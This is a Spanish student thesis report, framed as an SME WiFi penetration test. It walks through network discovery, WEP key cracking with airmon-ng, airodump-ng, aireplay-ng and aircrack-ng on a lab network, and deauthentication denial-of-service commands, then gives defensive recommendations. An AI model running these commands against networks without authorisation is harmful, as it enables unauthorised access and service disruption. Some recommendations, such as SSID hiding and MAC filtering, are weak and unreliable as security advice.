Informe de seguridad informática PYMES

Redes Wifi

Luis Ramírez de Diego

Informe de Seguridad Informática en la pequeña y mediana empresa.

Informe de seguridad informática realizado durante el Trabajo Final de Carrera del alumno Luis Ramírez de Diego en el año lectivo 2015/2016 y supervisado por el profesor y tutor del proyecto, Francisco Moya Fernandez

Primera actualización, Junio 2016

Contents

Chapter 1

Resumen ejecutivo.

Wireless Cloud Security fue contratado para llevar a cabo una prueba de penetración con el fin de determinar su exposición a un ataque dirigido, a una red inalámbrica y así analizar las posibles vulnerabilidades. El objetivo es estudiar las prestaciones, limitaciones y seguridades de las tecnologías de red WIFI de la empresa (PYMEs). Así realizar pruebas para demostrar la vulnerabilidad de acceso a los protocolos de seguridad y proporcionar un diseño y una configuración de red inalámbrica segura. Alguno de los objetivos que se pretende conseguir son:

- Identificar si un atacante podría penetrar las defensas de esta empresa.
- Determinar el impacto de un fallo de seguridad.
- Confidencialidad de los datos privados de la compañía.
- La infraestructura interna y la disponibilidad de los sistemas de información.

Los esfuerzos fueron colocados en la identificación y explotación de las debilidades de seguridad que podría permitir a un atacante obtener acceso no autorizado a datos de la organización. Los ataques se llevaran a cabo con el nivel de acceso mínimo, es decir sin información previa. De esta forma se asemejara a los ataques realizados por parte de una persona externa a la organización y con ello poder señalar las brechas existentes. La evaluación se llevó a cabo de acuerdo con las recomendaciones formuladas en el NIST SP 800 a 115[1] con todas las pruebas y las acciones que se realizan en condiciones controladas

[1] http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf

Chapter 2

Resumen de Resultados

2.1 Fase de descubrimiento.

Generamos información acerca de las redes que están presentes en la empresa Ficticia para llevar a cabo un test de penetración. Esta fase es muy importante porque definimos los objetivos previos de las pruebas y generamos la información acerca de las posibles vulnerabilidades potenciales. Nuestro objetivo en particular es conseguir la siguiente información:

- Identificar redes ocultas.
- Identificar que tipo de clientes hay conectados a la red.
- Tipos de autentificación utilizadas por las redes. Intentando encontrar las redes abiertas o que utilizan autentificación WEP y otras redes vulnerables.

Para descubrir las redes realizamos un escaneo de la red inalámbrica activa y pasiva. La activa implica enviar paquetes a puntos de acceso visibles y la pasiva capturar y analizar el trafico de la red inalámbrica permitiendo descubrir los puntos de accesos ocultos.

2.2 Configurar tarjeta inalambrica.

Para configurar nuestra tarjeta en modo monitor confirmaremos que nuestra tarjeta inalámbrica se ha detectado y que el controlador se ha cargado correctamente.

=

```
wlan0     IEEE 802.11bgn  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
```

```
          Power Management:off

wlan1     IEEE 802.11bgn  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=0 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
```

Una vez se ha detectado la interfaz wifi, procedemos a activarlo en modo monitor utilizando la utilidad "airmon-ng" disponible en la distribución Kali Linux. Esta aplicación inicializará la interfaz wifi anteriormente detectada con el fín de poder capturar las redes y paquetes inalambricas de la zona.

=

```
wlan0mon  IEEE 802.11bgn  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off
```

Con estos pasos hemos creado con éxito un interfaz en modo monitor llamado wlan0mon. Esta interfaz nos ayudara a rastrear los paquetes inalámbricos de la zona.

2.3 Puntos de Accesos

Para poder escanear las redes y clientes wifi en el alcace de nuestra zona utilizaremos la utilidad "airodump-ng" también disponible en la distribución kali Linux. Con esta exploración hemos identificado las siguientes redes y clientes con los que procederemos a detectar posibles vulnerabilidades.

=

```
BSSID CANAL ENC POWER VEL CLIENTE ESSID
---------------------------------------------
F4:06:8D:8F:33:79 11 WPA2 14 54 No devolo-f4068d8f3379
DC:53:7C:7B:3A:88 9 WPA2 19 54 No ONO92F3
98:97:D1:72:8C:9F 11 WPA2 25 54 No MOVISTAR_8C9E
DC:53:7C:8F:AB:D3 1 WPA2 28 54 Yes HOSTAL LOS GUERREROS
00:22:F7:23:83:30 6 WPA2 30 54 Yes C150APM
E0:41:36:40:47:6C 6 WPA2 35 54 No MOVISTAR_476C
90:67:1C:79:0E:E0 1 WPA2 46 54 Yes vodafone0EDA
80:B6:86:D5:F9:4B 11 WEP 64 54 Yes laboratorio wifi
```

Chapter 3

Defecto de cifrado WLAN.

Con las técnicas de identificación me refiero al análisis de dispositivos activos, sus puertos y servicios asociados y analizarlos en busca de vulnerabilidades potenciales. Las empresas o organizaciones suelen utilizar técnicas, no técnicos para identificar los activos que deben ser analizados. En los últimos tiempos, los ataques son dirigidos poco a poco a WPA. A pesar de que no hay ningún ataque disponible al público en la actualidad para romper WPA en todas las condiciones hay ataques que son factibles bajo circunstancias especiales. Las WLAN transmiten datos a través del aire y por lo tanto hay una necesidad inherente a la protección de los datos para que sean confidenciales. Esto se logra mediante los siguientes cifrados.

- Wired Equivalent Privacy (WEP)
- WiFi Protected Access (WPA)
- WiFi Protetion Access v2 (WPA2)

3.1 Encriptacion WEP

A continuación procedemos a analizar la red wifi con encriptación WEP siguiente:

- BSSID: 80:B6:86:D5:F9:4B
- ESSID: laboratorio wifi
- CANAL: 11
- INTERFAZ: AC:38:70:25:ED:62

3.1.1 Ataque a red Wifi con cifrado WEP

Para obtener la clave WEP de un punto de acceso, necesitamos muchos vectores de inicialización (IVs). El tráfico de red habitual no genera de forma rápida suficientes IVs. Para ello hemos utilizado la técnica de inyección para aumentar la velocidad del proceso de captura. La inyección implica que se envíen al punto de acceso (AP) paquetes de forma continua y rápida permitiendo capturar un gran número de IV's en un periodo corto de tiempo. Una vez que se han capturado un gran número de IVs, podemos utilizarlos para averiguar la clave WEP.

Para tratar de obtener la clave se ha realizado el ataque estándar utilizando los siguientes pasos:

Hemos colocado nuestra tarjeta en modo monitor y fijado al canal del AP.

airmon-ng start wlan0 11

A continuación se ha utilizado el comando airodump-ng en el canal del AP con filtro de bssid para capturar los IVs.

airodump-ng -c 11 –bssid 80:B6:86:D5:F9:4B -w output wlan0mon

Con el comando aireplay-ng se procede a desautenticar a un cliente asociado con el fin de que vuelva a autenticarse y genera un paquete ARP válido.

aireplay-ng -0 5 -a 80:B6:86:D5:F9:4B -c AC:38:70:25:ED:62 wlan0mon

Con el fin de generar mucho paquetes y conseguir gran cantidad de IVs se lanza una reinyección de paquetes utilizando el siguiente comando:

aireplay-ng -3 -b 80:B6:86:D5:F9:4B -h AC:38:70:25:ED:62 wlan0mon

Finalmente y si hemos conseguido una gran cantidad de IVs intentamos probar conseguir la clave WEP utilizando el comando aricrack-ng.

aircrack-ng -a 1 -s output-01.cap

En este análisis de red se ha conseguido **107217** IVs y **SI** se ha podido obtener la clave.

El detalle de la salida de Aircrack-ng es el siguiente:

```
Opening CAPTURA-01.cap
Reading packets, please wait...
[KRead 436483 packets.

   #  BSSID              ESSID                     Encryption

   1  80:B6:86:D5:F9:4B  laboratorio wifi          WEP (107217 IVs)

Choosing first network as target.

Opening CAPTURA-01.cap
Reading packets, please wait...
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 107217 ivs.
[K[21CKEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )
Decrypted correctly: 100%
```

3.1.2 Denegacion de Servicios (DoS).

Las redes WLAN son propensas a los ataques de denegación de servicio (DoS) usando varias técnicas, incluyendo pero no limitadas a:

- Ataque de de-autenticación
- Ataque de desasociación.
- Ataque CTS-RTS.
- Ataque de interferencia del espectro de la señal.

El objetivo de una Denegación de Servicio a una Red Wi-fi es dejar a los usuarios legítimos de una red Wi-fi sin poder acceder a Internet, esto se logra inundando con paquetes de deautenticación al punto de acceso AP y/o al cliente.

Continuamos trabajando con la tarjeta en modo monitor, hemos asignando el canal del punto de acceso AP que estamos analizando.

airmon-ng start wlan0 11

Luego hemos realizado el envío de difusión de de-autenticación de paquetes (broadcast de-authentication packet) hacia el punto de acceso AP intentando desconectar a todos los clientes.

aireplay-ng -0 0 -a 80:B6:86:D5:F9:4B wlan0mon

aireplay-ng -0 0 -a 80:B6:86:D5:F9:4B -c AC:38:70:25:ED:62 wlan0mon

Si hemos conseguido enviar con éxito frames de de-autenticación al punto de acceso y el cliente. Esto se ha traducido en conseguir que se

desconecte y una pérdida completa de comunicación entre ellos. También hemos enviado paquetes de difusión de de-autenticación, que asegurará que ningún cliente en las cercanías se pueda conectar correctamente al punto de acceso.

Es importante tener en cuenta que tan pronto como el cliente se desconecta, intentará volver a conectarse de nuevo al punto de acceso y por lo tanto el ataque de de-autenticación tiene que llevarse a cabo de manera sostenida para tener un efecto de ataque de denegación de servicio completo.

3.2 Recomendaciones.

A continuación algunas recomendaciones básicas.

- Se debe tener en cuenta el alcance de nuestra red, ya que cuanto menos señal se propague fuera de las instalaciones menor será las posibilidades de que se acceda desde fuera.
- Por muy simple que parezca, es importante cambiar los datos de accesos al router que vienen por defecto.(No olvidar cambiar la contraseña)
- Ocultar el nombre de la red (SSID), de forma que no se difunda el nombre de la red.
- Se deben usar los protocolos de seguridad, WPA o WPA2. Ya que, el protocolo WEP no nos aporta ningún tipo de seguridad.
- Es recomendable que se apague el router o punto de acceso una vez que ya no vaya a utilizarse.
- Hacer listas de control de acceso con las direcciones MAC de aquellos dispositivos que quieras que tengan acceso a la red.
- Utilizar IP estáticas, deshabilitando el DHCP (asignación dinámica IP)
- Realizar auditorias periódicamente ayudará a prevenir ataques, evitando posibles errores.
- Contratar profesionales en la seguridad informática.

Estas medidas no harán que tu red sea invulnerable a cualquier ataque, pues no se puede garantizar en su totalidad pero garantizará unos niveles altos de seguridad.

"Preguntarse cuándo los ordenadores podrán pensar es como preguntarse cuándo los submarinos podrán nadar"– Edsger W. Dijkstra